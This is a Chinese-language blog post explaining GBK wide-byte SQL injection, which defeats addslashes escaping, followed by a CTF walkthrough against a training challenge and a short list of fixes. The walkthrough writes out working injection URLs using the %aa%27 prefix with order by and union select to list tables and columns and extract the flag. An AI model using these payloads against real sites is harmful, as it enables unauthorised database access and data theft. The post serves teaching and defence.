sql注入-宽字节注入

宽字节注入原理

当数据库编码方式为gdk时,一个汉字会占用两个字节,平常字符会占一个字节

例如: url编码之后为 => %c4%e3       # url编码之后为 => %23  ' url编码之后为 => %27  \ url编码之后为 => %5c

addslashes函数防止sql注入,将传入参数值进行转义。将' 转义为\',单引号失去作用,导致无法进行sql注入

这时可以利用汉字编码为2个,\ 的编码为%5c为1个将 \ 弄无效


实现

这里用南邮的一道题目来实现一下:

题目链接:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1

url后面添加单引号,单引号前面有 \ 说明可能使用了addslashes函数


在单引号前随便添加一个,这里添加%aa,然后报错,说明可以注入


order by判断列数,可知一共2列,下面正常注入

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%aa%27 order by 2#

2是回显位,然后查看数据库,得到库名sae-chinalover

获取全部表名
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

查询表名找到flag字段(这里要将表名进行16进制编码)
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634#


flag不唯一,这里随便找了一个

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%aa%27 union select 1,flag from ctf4#

修复方案

1.使用utf-8

2.mysql_real_escape_string,mysql_set_charset('gbk',$conn)

3.设置参数,character_set_client=binary

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 原理 mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 a...
    dawsonenjoy阅读 4,865评论 0 0
  • 路漫漫其修远兮,吾将上下而求索。 mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%...
    你可以叫我风平阅读 3,465评论 0 1
  • 签到2 地址:来源:网络攻防大赛 说了输入zhimakaimen,开始输入没认真看,只能输入10个数字,可是zhi...
    JasonChiu17阅读 10,190评论 0 9
  • web应用程序会对用户的输入进行验证,过滤其中的一些关键字,这种过滤我们可以试着用下面的方法避开。 1、 不使用被...
    查无此人asdasd阅读 12,158评论 0 5
  • 有一种幸福,叫抱着你,看着你的睡脸。 与其说是你不肯自己在床上睡觉倒不如说是我就放不下你,爱抱着你。 你长大了我还...
    霹雳Lily阅读 937评论 0 0